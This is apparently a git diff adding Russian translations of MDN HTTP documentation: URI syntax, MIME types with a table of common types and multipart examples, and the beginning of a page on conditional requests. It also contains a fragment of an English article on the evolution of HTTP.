This rapid adoption rate was likely as HTTP/2 does not require adaptation of Web sites and applications: using HTTP/1.1 or HTTP/2 is transparent for them. Having an up-to-date server communicating with a recent browser is enough to enable its use: only a limited set of groups were needed to trigger adoption, and as legacy browser and server versions are renewed, usage has naturally increased, without further Web developer efforts.

+ +

Post-HTTP/2 evolution

+ +

HTTP didn't stop evolving upon the release of HTTP/2. Like with HTTP/1.x previously, HTTP's extensibility is still beinig used to add new features. Notably, we can cite new extensions of the HTTP protocol appearing in 2016:

+ + + +

This evolution of HTTP proves its extensibility and simplicity, liberating creation of many applications and compelling the adoption of the protocol. The environment in which HTTP is used today is quite different from that seen in the early 1990s. HTTP's original design proved to be a masterpiece, allowing the Web to evolve over a quarter of a century, without the need of a mutiny. By healing flaws, yet retaining the flexibility and extensibility which made HTTP such a success, the adoption of HTTP/2 hints at a bright future for the protocol.

diff --git a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html new file mode 100644 index 0000000000..2b52d642b2 --- /dev/null +++ b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html @@ -0,0 +1,188 @@ +--- +title: Идентификация ресурсов в Вебе +slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web_RU +tags: + - HTTP + - URI + - URL + - Веб + - Порт + - Путь + - Ресурсы + - Синтаксис + - Синтаксис URL + - Схема + - Фрагмент + - домен + - запрос +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +--- +
{{HTTPSidebar}}
+ +

"Объект" (или "цель") HTTP-запроса называется "ресурс", чья природа может быть разной: фото, документ, или что-либо ещё. Каждый ресурс идентифицируется с помощью унифицированного идентификатора ресурса ({{Glossary("URI")}}) используемого повсюду в HTTP для идентификации ресурсов.

+ +

Обычно чтобы описать конкретный ресурс (его имя) и его местоположение в Вебе, используется всего один URL (Uniform Resource Locator - Унифицированный локатор ресурса, вид URI, его ещё называеют веб-адресом). Можно добавить, что иногда с помощью специального заголовка {{HTTPHeader("Alt-Svc")}} в ответе на запрос можно попросить клиента перезапросить ресурс с другой локации.

+ +

URLы и URNы

+ +

URL

+ +

Самый популярный тип URI - это Uniform Resource Locator ({{Glossary("URL")}}), который также называют веб-адресом.

+ +
https://developer.mozilla.org
+https://developer.mozilla.org/ru/docs/Learn
+https://developer.mozilla.org/ru/search?q=URL
+ +

Любой из этих URL-ов может быть набран в адресной строке браузера чтобы сказать ему загрузить соответствующую страницу (ресурс).

+ +

URL состоит из разных частей, некоторые - обязательны, а другие нет. Более сложный пример:

+ +
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
+ +

URN

+ +

Uniform Resource Name (URN) - это URI, который идентифицирует ресурс по имени в конкретном пространстве имён.

+ +
urn:isbn:9780141036144
+urn:ietf:rfc:7230
+
+ +

Эти два URN-а соответствуют:

+ + + +

Синтаксис Унифицированных Идентификаторов Ресурсов (URI)

+ +

Схема или протокол

+ +
+
Protocol
+
http:// это пример протокола (схемы). Тут описывается какой протокол браузер должен использовать. Обычно это HTTP протокол или его безопасная версия - HTTPS. Интернет требует один из этих двух, но браузеры также знают как работать с некоторыми другими, например mailto: (чтобы открыть почтовый клиент) или ftp: для работы с передачей файлов. Популярные схемы:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СхемаОписание
dataData URIs 
fileДоступ к файлам на локальном компьютере
ftpFile Transfer Protocol (протокол передачи файлов)
http/httpsHyper text transfer protocol (Secure)
mailtoАдрес электронной почты
sshПротокол Secure shell для работы с серверами
telТелефон
urnUniform Resource Names
view-sourceИсходный код ресурса
ws/wss(Зашифрованные) соединения WebSocket
+ +

Владелец (имя хоста)

+ +
+
Domaine Name
+
www.example.com - это доменное имя, идентификатор ответственного за это пространство имён. Идентифицирует, какой именно Веб-сервер получает запрос. Альтернативно, можно просто использовать {{Glossary("IP address")}}, но поскольку это не так удобно, то этот способ используется не часто.
+
+ +

Порт

+ +
+
Port
+
:80 - это порт сервера. Он идентифицирует технические "ворота", которые нужны для доступа к ресурсу на сервере. Обычно порт не указывается, т.к. существуют общепринятые нормы о стандартных портах для HTTP (80 для HTTP и 443 для HTTPS). В других случаях обязательно нужно указывать.
+
+ +

Путь

+ +
+
Path to the file
+
/path/to/myfile.html - это путь к ресурсу на Веб-сервере. Изначально путь типа этого указывал на физическое место файла на сервере, но сейчас всё чаще это псевдоним или описание некоторого абстрактного ресурса.
+
+ +

Строка запроса (query string)

+ +
+
Parameters
+
?key1=value1&key2=value2 - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделенных символом & . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчет параметров, и единственный надежный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.
+
+ +

Фрагмент

+ +
+
Anchor
+
#SomewhereInTheDocument - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру  указание показать содержимое с определенного места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе бразуер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.
+
+ +

Заметки по использованию

+ +

Когда используются URLы в {{Glossary("HTML")}} содержимом, вам стоит использовать только несколько из этих схем. Когда идёт обращение к субресурсам (файлам, которые являются частью большого документа) — вам стоит использовать лишь HTTP и HTTPS. Браузеры сейчас перестают использовать FTP для загрузки ресурсов, из соображений безопасности.

+ +

FTP до сих пор доступен на верхнем уровне (т.е. когда ссылка указывается в адресной строке или в ссылке), но некоторые браузеры могут делегировать загрузку FTP ресурсов другим приложениям.

+ +

Примеры

+ +
https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+mailto:help@supercyberhelpdesk.info
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Синтаксис и маршрутизация сообщений
+ +

Читайте также

+ + diff --git a/files/ru/web/http/basics_of_http/index.html b/files/ru/web/http/basics_of_http/index.html new file mode 100644 index 0000000000..415e4b9a5d --- /dev/null +++ b/files/ru/web/http/basics_of_http/index.html @@ -0,0 +1,52 @@ +--- +title: Basics of HTTP +slug: Web/HTTP/Basics_of_HTTP +tags: + - HTTP + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/HTTP/Basics_of_HTTP +--- +
{{HTTPSidebar}}
+ +

HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путем создания новых HTTP-методов или заголовков.

+ +

Статьи

+ +
+
Обзор HTTP
+
Описывает, что такое HTTP и какова его роль в архитектуре всемирной паутины, позицию в стеке протоколов.
+
Эволюция HTTP
+
HTTP был создан в начале 1990-х годов и несколько раз был расширен. Эта статья даёт обзор его истории и описывает HTTP/0.9, HTTP/1.0, HTTP/1.1, и современный HTTP/2, а также незначительные нововведения представленные в последние несколько лет.
+
Обсуждение версии HTTP
+
Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счете перейти на более новую версию протокола. 
+
Resources and URIs
+
A brief introduction of the notion of resources, identifiers, and locations on the Web.
+
Identifying resources on the Web
+
Describes how Web resources are referenced and how to locate them.
+
Data URIs
+
A specific kind of URIs that directly embeds the resource it represents. Data URIs are very convenient, but have some caveats.
+
Separating identity and location of a resource: the Alt-Svc HTTP header
+
Most of the time identity and location of a Web resource are shared, this can be changed with the {{HTTPHeader("Alt-Svc")}} header.
+
MIME types
+
Since HTTP/1.0, different types of content can be transmitted. This article explains how this is done using the {{HTTPHeader("Content-Type")}} header and the MIME standard.
+
Choosing between www and non-www URLs
+
Advice on using a www-prefixed domain or not, this article explains the consequences of the choice as well as how to make it.
+
Flow of an HTTP session
+
This fundamental article describes a typical HTTP session: what happens under the hood when you click on a link in your browser…
+
HTTP Messages
+
HTTP Messages transmitted during requests or responses have a very clear structure; this introductory article describes this structure, its purpose and its possibilities.
+
Frame and message structure in HTTP/2
+
HTTP/2 encapsulates and represents HTTP/1.x messages in a binary frame. This article explains the frame structure, its purpose and the way it is encoded.
+
Connection management in HTTP/1.x
+
HTTP/1.1 was the first version of HTTP to support persistent connection and pipelining. This article explains these two concepts.
+
Connection management in HTTP/2
+
HTTP/2 completely revisited how connections are created and maintained: this article explains how HTTP frames allow multiplexing and solve the 'head-of-line' blocking problem of former HTTP versions.
+
Content Negotiation
+
HTTP introduces a set of headers, starting with Accept- as a way for a browser to announce the format, language, or encoding it prefers. This article explains how this advertisement happens, how the server is expected to react and how it will choose the most adequate response.
+
+ +
+
+
diff --git a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html new file mode 100644 index 0000000000..1b9703c33d --- /dev/null +++ b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html @@ -0,0 +1,394 @@ +--- +title: Неполный список типов MIME +slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +tags: + - HTTP + - Справка + - Типы MIME +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +--- +
{{HTTPSidebar}}
+ +
Здесь представлен исчерпывающий список типов MIME, соотнесенных с типами документов и отсортированных по расширению.
+ +
+ +
Два ключевых типа MIME, использующихся в качестве типов по умолчанию:
+ +
+ +
+ +

IANA является официальным регистром типов MIME и поддерживает их официальный список. В данной таблице представлен список типов, наиболее важных для Web:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
РасширениеТип документаТип MIME
.aacAAC audioaudio/aac
.abwAbiWord documentapplication/x-abiword
.arcArchive document (multiple files embedded)application/x-freearc
.aviAVI: Audio Video Interleavevideo/x-msvideo
.azwAmazon Kindle eBook formatapplication/vnd.amazon.ebook
.binAny kind of binary dataapplication/octet-stream
.bmpWindows OS/2 Bitmap Graphicsimage/bmp
.bzBZip archiveapplication/x-bzip
.bz2BZip2 archiveapplication/x-bzip2
.cshC-Shell scriptapplication/x-csh
.cssCascading Style Sheets (CSS)text/css
.csvComma-separated values (CSV)text/csv
.docMicrosoft Wordapplication/msword
.docxMicrosoft Word (OpenXML)application/vnd.openxmlformats-officedocument.wordprocessingml.document
.eotMS Embedded OpenType fontsapplication/vnd.ms-fontobject
.epubElectronic publication (EPUB)application/epub+zip
.gzGZip Compressed Archiveapplication/gzip
.gifGraphics Interchange Format (GIF)image/gif
.htm
+ .html		HyperText Markup Language (HTML)text/html
.icoIcon formatimage/vnd.microsoft.icon
.icsiCalendar formattext/calendar
.jarJava Archive (JAR)application/java-archive
.jpeg
+ .jpg		JPEG imagesimage/jpeg
.jsJavaScripttext/javascript
.jsonJSON formatapplication/json
.jsonldJSON-LD formatapplication/ld+json
.mid
+ .midi		Musical Instrument Digital Interface (MIDI)audio/midi audio/x-midi
.mjsJavaScript moduletext/javascript
.mp3MP3 audioaudio/mpeg
.mpegMPEG Videovideo/mpeg
.mpkgApple Installer Packageapplication/vnd.apple.installer+xml
.odpOpenDocument presentation documentapplication/vnd.oasis.opendocument.presentation
.odsOpenDocument spreadsheet documentapplication/vnd.oasis.opendocument.spreadsheet
.odtOpenDocument text documentapplication/vnd.oasis.opendocument.text
.ogaOGG audioaudio/ogg
.ogvOGG videovideo/ogg
.ogxOGGapplication/ogg
.opusOpus audioaudio/opus
.otfOpenType fontfont/otf
.pngPortable Network Graphicsimage/png
.pdfAdobe Portable Document Format (PDF)application/pdf
.phpHypertext Preprocessor (Personal Home Page)application/php
.pptMicrosoft PowerPointapplication/vnd.ms-powerpoint
.pptxMicrosoft PowerPoint (OpenXML)application/vnd.openxmlformats-officedocument.presentationml.presentation
.rarRAR archiveapplication/vnd.rar
.rtfRich Text Format (RTF)application/rtf
.shBourne shell scriptapplication/x-sh
.svgScalable Vector Graphics (SVG)image/svg+xml
.swfSmall web format (SWF) or Adobe Flash documentapplication/x-shockwave-flash
.tarTape Archive (TAR)application/x-tar
.tif
+ .tiff		Tagged Image File Format (TIFF)image/tiff
.tsMPEG transport streamvideo/mp2t
.ttfTrueType Fontfont/ttf
.txtText, (generally ASCII or ISO 8859-n)text/plain
.vsdMicrosoft Visioapplication/vnd.visio
.wavWaveform Audio Formataudio/wav
.webaWEBM audioaudio/webm
.webmWEBM videovideo/webm
.webpWEBP imageimage/webp
.woffWeb Open Font Format (WOFF)font/woff
.woff2Web Open Font Format (WOFF)font/woff2
.xhtmlXHTMLapplication/xhtml+xml
.xlsMicrosoft Excelapplication/vnd.ms-excel
.xlsxMicrosoft Excel (OpenXML)application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
.xmlXMLapplication/xml if not readable from casual users (RFC 3023, section 3)
+ text/xml if readable from casual users (RFC 3023, section 3)
.xulXULapplication/vnd.mozilla.xul+xml
.zipZIP archiveapplication/zip
.3gp3GPP audio/video containervideo/3gpp
+ audio/3gpp if it doesn't contain video
.3g23GPP2 audio/video containervideo/3gpp2
+ audio/3gpp2 if it doesn't contain video
.7z7-zip archiveapplication/x-7z-compressed
diff --git a/files/ru/web/http/basics_of_http/mime_types/index.html b/files/ru/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..e368e2a496 --- /dev/null +++ b/files/ru/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,318 @@ +--- +title: MIME types +slug: Web/HTTP/Basics_of_HTTP/MIME_types +tags: + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +

Медиа тип (так же известный как Multipurpose Internet Mail Extensions или MIME тип) является стандартом, который описывает природу и формат документа, файла или набора байтов. Он определён и стандартизирован в спецификации {{RFC(6838)}} .

+ +

Организация Internet Assigned Numbers Authority (IANA) является ответственной за все официально признанные MIME типы, и вы можете найти самый последний и полный лист MIME типов на их странице Медиа Типов.

+ +
+

Важно: Для принятия решения о том, как обрабатывать URL, браузеры используют MIME типы, а не расширения файлов, так что серверам необходимо отправлять правильные MIME типы в {{HTTPHeader("Content-Type")}} заголовке ответа. При неточном задавании этого заголовка, браузеры с большой вероятностью будут неправильно интерпретировать и обрабатывать содержание файлов, из-за чего сайт будет работать неверно.

+
+ +

Структура MIME типа

+ +

Простейший MIME тип состоит из типа и подтипа — двух строк разделённых наклонной чертой (/), без использования пробелов.

+ +
тип/подтип
+ +

Тип представляет общую категорию, в которой находится тип данных, например video или text. Подтип же строго отождествляется с отдельным типом данных, представляемых данным MIME типом. Например, для MIME типа text, подтипы могут быть  plain (простой текст), html ({{Glossary("HTML")}} source code) или calendar (для iCalendar/.ics).

+ +

Необязательный параметр может быть добавлен для указания дополнительных деталей

+ +
тип/подтип;параметр=значение
+ +

Например, для MIME типов катогории text, необязательный параметр charset может быть задан для уточнения кодировки, используемой в документе. Для объявления, что пересылаемый файл имеет кодировку UTF-8, необходимо использовать MIME тип text/plain;charset=UTF-8. При не указании параметра charset, его значение автоматически будет задано, как {{Glossary("ASCII")}} (US-ASCII), если в настройках браузера не будет определено иначе.

+ +

MIME типы являются нечувствительными к регистру, но традиционно их пишут строчными буквами, за исключением значений параметров.

+ +

Типы

+ +

Все типы можно разделить на два класса: дискретные и многокомпонентные. Дискретные типы представляют одиночные файлы, например, одиночный текстовый, музыкальный или видео файл. Многокомпонентные типы представляют документы, составленные из нескольких частей, каждая из которых может иметь свой отдельный MIME тип, или они могут заключать в себе несколько отдельных файлов, передаваемых в одном сообщении. Например, многокомпонентные MIME типы используются для передачи нескольких изображений в одном email.

+ +

Дискретные типы

+ +

В настоящее время на IANA зарегистрированы следующие дискретные типы:

+ +
+
application Список IANA
+
Любой вид бинарных данных, явно не попадающих ни в одну другу группу типов. Данные, которые будут выполняться или как-либо интерпретироваться, или данные для выполнения, которых необходимо отдельное приложение. Для указания базового типа бинарных данных (данных без определённого типа) используют тип application/octet-stream. Другие распространённые примеры включают application/pdf, application/pkcs8 и application/zip.
+
audio Список IANA
+
Аудио или музыкальные данные. Примеры: audio/mpeg, audio/vorbis.
+
example
+
Тип, зарезервированный для написания примеров, отображающих использование MIME типов. Этот тип никогда не должен использоваться вне примеров кода или документации. example может так же использоваться, как подтип.
+
font Список IANA
+
Данные шрифтов. Распространённые примеры включают font/woff, font/ttf и font/otf.
+
image Список IANA
+
Изображения или графические данные, включая векторную и растровую графику, а так же анимированные версии форматов неподвижных изображений, таких как  GIF или APNG. Распространённые примеры включают image/jpeg, image/png и image/svg+xml.
+
model Список IANA
+
Данные моделей для 3D объектов или сцен. Примеры: model/3mf и model/vml.
+
text Список IANA
+
Любые текстовые данные, так или иначе доступные для чтения человеку, а так же  исходный код или текстовые данные для программ. Примеры: text/plain, text/csv и text/html.
+
video Список IANA
+
Видео данные или файлы. Например, MP4 фильмы (video/mp4).
+
+ +

Любые текстовые документы без определённого подтипа стоит отправлять, как  text/plain тип. Аналогичным образом,  application/octet-stream тип подойдёт бинарным документам при неопределённом или неизвестном подтипе.

+ +

Многокомпонентные типы

+ +

Многокомпонентные типы описывают категории разграниченных на части документов, где каждая из частей может иметь свой отдельный MIME тип. При работе с электронными письмами, они могут использоваться для описания нескольких отдельных файлов, передаваемых в одном сообщении. Они представляют составные документы.

+ +

За исключением multipart/form-data типа, используемого в {{HTTPMethod("POST")}} методе HTML форм, и multipart/byteranges типа, используемом в ответе {{HTTPStatus("206")}} Partial Content для отправки части документа, HTTP никаким особым образом не обрабатывает многокомпонентные типы, и просто отправляет данные в браузер (который, с большой вероятностью, предложит сохранить переданный файл, тоже не зная как его обработать).

+ +

Существуют два многокомпонентных типа:

+ +
+
message Список IANA
+
Сообщение, включающее в себя другие сообщения. Этот тип может использоваться, например, для представления сообщения, которое включают в себя другое переадресованное сообщение, как часть данных, или для отправки больших сообщений по частям, как если бы каждое сообщение отправлялось отдельно. Примеры включают message/rfc822 (для переадресованных или цитируемых сообщений) и  message/partial для автоматического разделения одного большого сообщения на несколько небольших и их последующей сборки на стороне получателя.
+
multipart Список IANA
+
Данные составленные из нескольких компонентов, каждый из которых может иметь отдельный MIME тип. Примеры включают  multipart/form-data (для данных созданных с помощью {{domxref("FormData")}} API) и multipart/byteranges (определённого в {{RFC(7233, "5.4.1")}} и используемого в ответах {{Glossary("HTTP")}} {{HTTPStatus(206)}} "Partial Content", когда запрашиваемые данные возвращаются по частям в нескольких сообщениях, как например, при использовании заголовка {{HTTPHeader("Range")}}).
+
+ +

Важные для Web-разработчиков MIME типы

+ +

application/octet-stream

+ +

Этот тип является базовым для бинарных данных. В связи с тем, что он подразумевает неопределённые бинарные данные, браузеры, как правило, не будут пытаться его обработать каком-либо образом, а вызовут для него диалоговое окно «Сохранить Как», как если бы заголовок ответа {{HTTPHeader("Content-Disposition")}} имел значение attachment.

+ +

text/plain

+ +

Этот тип является базовым для текстовых файлов. Несмотря на то, что он означает "неопределённые текстовые данные", браузеры всё равно могут его отображать.

+ +
+

Заметьте: text/plain не означает "любой вид текстовых данных". Если браузер ожидает получения какого-то конкретного типа текстовых данных, то с большой вероятностью он не будет считать text/plain подходящим типом. Например, при загрузке text/plain документа через {{HTMLElement("link")}} элемент, браузер не будет его признать правильным CSS файлом и использовать для применения стилей. Только text/css тип должен использоваться для загрузки CSS документов.

+
+ +

text/css

+ +

CSS документы, используемые для стилизации web-страниц должны отправляться, как text/css тип. Большинство браузеров не смогут распознавать CSS документы, загруженные с отличным от text/css MIME типом.

+ +

text/html

+ +

Все HTML данные должны пересылаться с данным типом. Альтернативные MIME типы для XHTML (например, application/xhtml+xml) почти не используются в настоящее время.

+ +
+

Заметьте: Используйте application/xml или application/xhtml+xml, когда вам необходим строгий синтаксический анализ документов, разделы <![CDATA[…]]> или элементы, не принадлежащие к пространствам имён HTML/SVG/MathML.

+
+ +

text/javascript

+ +

Согласно HTML спецификации: при пересылке JavaScript файлов, всегда должен использоваться MIME тип text/javascript.

+ +

По исторически сложившимся причинам, MIME Sniffing Standard (стандарт, определяющий, как браузеры должны интерпретировать медиа типы и выяснять, как обрабатывать данные при неправильно заданных медиа типах) позволяет серверам отправлять JavaScript документы, используя один из нижеперечисленных типов:

+ + + +
+

Заметьте: Несмотря на то, что некоторые {{Glossary("user agent")}} могут поддерживать какие-то из вышеперечисленных типов, вы всегда должны использовать text/javascript. Это единственный MIME тип, который гарантированно будет работать в настоящее время и в будущем.

+
+ +

Иногда вы можете заметить использование text/javascript MIME типа в связке с параметром charset, для уточнения кодировки, в которой был написан файл. Такое определение MIME типа является неправильным, и в большинстве случаев браузеры не станут загружать скрипт, передаваемый с таким типом.

+ +

Типы изображений

+ +

Файлы, MIME типом которых является image, содержат в себе данные изображений. Подтип определяет, какой конкретный формат изображения представлен в данных.

+ +

Лишь несколько типов изображений достаточно распространены, чтобы безопасно использоваться на веб-страницах.

+ +

{{page("ru/docs/Web/Media/Formats/Image_types", "table-of-image-file-types")}}

+ +

Аудио и видео типы

+ +

Так же как в случае с изображениями, стандарт HTML не обязывает браузеры поддерживать какие-либо определённые форматы и кодеки для   {{HTMLElement("audio")}} и {{HTMLElement("video")}} элементов, так что при их выборе, важно брать в расчёт целевую аудиторию и диапазон браузеров (а так же версии этих браузеров), которые она может использовать.

+ +

Наше руководство по медиа форматам предоставляет список общепринятых типов, включая информацию об особых случаях при их использовании, их недостатках, совместимости, а так же других деталях.

+ +

Руководства по аудио и видео кодекам перечисляют часто поддерживаемые браузерами кодеки, предоставляя детали по их совместимости и техническую информацию, например как много аудио каналов они поддерживают, какой тип сжатия используют, и так далее. Руководство по используемым в WebRTC кодекам развивает эту тему ещё дальше, конкретно описывая кодеки, поддерживаемые популярными браузерами, так чтобы вы могли выбрать кодеки, которые имеют наилучшую поддержку в диапазоне браузеров по вашему выбору.

+ +

Что касается MIME типов для аудио и видео файлов, то чаще всего они указывают на формат контейнера (тип файла). Необязательный параметр codecs может быть добавлен к MIME типу для более точного указания, какой кодек и параметры использовались для пересылаемого файла.

+ +

Ниже перечислены наиболее часто используемые на веб-страницах MIME типы. Обратите внимание, что это не полный перечень всех доступных типов. Более полный список поддерживаемых форматов может быть наеден в руководстве по медиа форматам.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MIME типАудио или видео тип
audio/wave
+ audio/wav
+ audio/x-wav
+ audio/x-pn-wav		Аудио файл WAVE формата. С PCM аудио кодеком (WAVE кодек "1"), считающимся наиболее поддерживаемым, а так же другими, имеющими ограниченную поддержку.
audio/webmАудио файл формата WebM. С Vorbis и Opus официально поддерживаемыми WebM спецификацией аудио кодеками.
video/webmВидео файл, с возможной аудио дорожкой, формата WebM. С VP8 и VP9, как наиболее распространёнными видео кодеками; Vorbis и Opus, как наиболее распространёнными аудио кодеками.
audio/oggАудио файл формата OGG. С Vorbis, как наиболее распространённым аудио кодеком. Хотя на данный момент имеется поддержка и Opus кодека.
video/oggВидео файл, с возможной аудио дорожкой, в формате OGG. Где Theora –  наиболее часто встречающийся видео кодек и Vorbis - наиболее часто встречающийся аудио кодек. Хотя использование кодека Opus становится всё более распространённым.
application/oggАудио или видео формата OGG. Где Theora –  наиболее часто встречающийся видео кодек и Vorbis - наиболее часто встречающийся аудио кодек.
+ +

multipart/form-data

+ +

multipart/form-data тип может быть использован при отправке значений из  заполненной HTML Формы на сервер.

+ +

Как многокомпонентный тип документа, он состоит из различных частей, разделённых специальной границей (строкой, начинающейся с двух чёрточек --), где каждая часть представляет собой отдельную сущность и имеет отдельные HTTP заголовки {{HTTPHeader("Content-Disposition")}} и {{HTTPHeader("Content-Type")}} для загружаемых файлов.

+ +
Content-Type: multipart/form-data; boundary=aBoundaryString
+(other headers associated with the multipart document as a whole)
+
+--aBoundaryString
+Content-Disposition: form-data; name="myFile"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--aBoundaryString
+Content-Disposition: form-data; name="myField"
+
+(data)
+--aBoundaryString
+(more subparts)
+--aBoundaryString--
+
+
+ +

Следующая форма <form>:

+ +
<form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
+  <label>Name: <input name="myTextField" value="Test"></label>
+  <label><input type="checkbox" name="myCheckBox"> Check</label>
+  <label>Upload file: <input type="file" name="myFile" value="test.txt"></label>
+  <button>Send the file</button>
+</form>
+ +

отправит сообщение:

+ +
POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myTextField"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myFile"; filename="test.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+
+ +

multipart/byteranges

+ +

multipart/byteranges MIME тип используется для отправки данных в браузер по частям.

+ +

При отправке кода состояния {{HTTPStatus("206")}} Partial Content, этот MIME тип будет означать, что документ состоит из нескольких частей, по одной для каждого отдельно запрашиваемого диапазона. Аналогично с остальными многокомпонентными типами, заголовок {{HTTPHeader("Content-Type")}} используется для объявления границы boundary, разделяющей документ на отдельные компоненты. Каждый компонент имеет заголовок {{HTTPHeader("Content-Type")}}, описывающий тип сегмента данных, и {{HTTPHeader("Content-Range")}}, описывающий его диапазон.

+ +
HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" />
+    <meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--
+ +

Важность задания правильного MIME типа

+ +

Большинство серверов отправляет ресурсы неопределённого типа, как application/octet-stream MIME тип. Большинство же браузеров, в целях безопасности, не позволяет их никак обрабатывать, вынуждая пользователя сохранять их на жёсткий диск, для дальнейшего использования.

+ +

Несколько советов по правильной настройке MIME типов на серверах:

+ + + +

MIME sniffing

+ +

В отсутствии заданного MIME типа, или в определённых случаях, когда браузеры полагают, что MIME тип задан неправильно, они могут выполнять MIME sniffing — попытку угадать правильный MIME тип, анализируя характеристики ресурса.

+ +

Каждый браузер выполняет MIME sniffing по-своему и при разных условиях (например, Safari будет смотреть на расширение файла, если переданный MIME тип является неподходящим для документа). В этих случаях могут присутствовать опасения по поводу безопасности, так как некоторые MIME типы представляют исполняемые файлы. Сервера имеют возможность предотвращать MIME sniffing, отправляя {{HTTPHeader("X-Content-Type-Options")}} заголовок ответа.

+ +

Другие методы сообщения о типе ресурса

+ +

MIME типы не являются единственным способом сообщения типа документа:

+ + + +

Смотрите так же

+ + + +
{{HTTPSidebar}}
diff --git a/files/ru/web/http/conditional_requests/index.html b/files/ru/web/http/conditional_requests/index.html new file mode 100644 index 0000000000..547d4a80af --- /dev/null +++ b/files/ru/web/http/conditional_requests/index.html @@ -0,0 +1,144 @@ +--- +title: Условные HTTP запросы +slug: Web/HTTP/Conditional_requests +translation_of: Web/HTTP/Conditional_requests +--- +

{{HTTPSidebar}}

+ +

В HTTP есть понятие условных запросов, в которых результат, и даже успех запрос, могут быть изменены с помощью сравнения затронутых ресурсов со значением валидатора. Такие запросы могут быть полезными для валидации контента в кеше, и избавления от бесполезного контроля, чтобы проверить целостность документа, например, пока длится загрузка, или пока предовращается потеря обновлений, пока выгружаются или изменяются файлы на сервере.

+ +

Принципы

+ +

Условные запросы HTTP это запросы, которые выполняся по разному, в зависимости значения особых заголовков. Эти заголовки определяют предусловие, и результат запроса будет разным, если условие согласовано или нет.

+ +

Отличие в поведении определяется используемым методом, и набором заголовков для предусловий:

+ + + +

Validators

+ +

All conditional headers try to check if the resource stored on the server matches a specific version. To achieve this, the conditional requests need to indicate the version of the resource. As comparing the whole resource byte to byte is impracticable, and not always what is wanted, the request transmits a value describing the version. Such values are called validators, and are of two kinds:

+ + + +

Comparing versions of the same resource is a bit tricky: depending on the context, there are two kinds of equality checks:

+ + + +

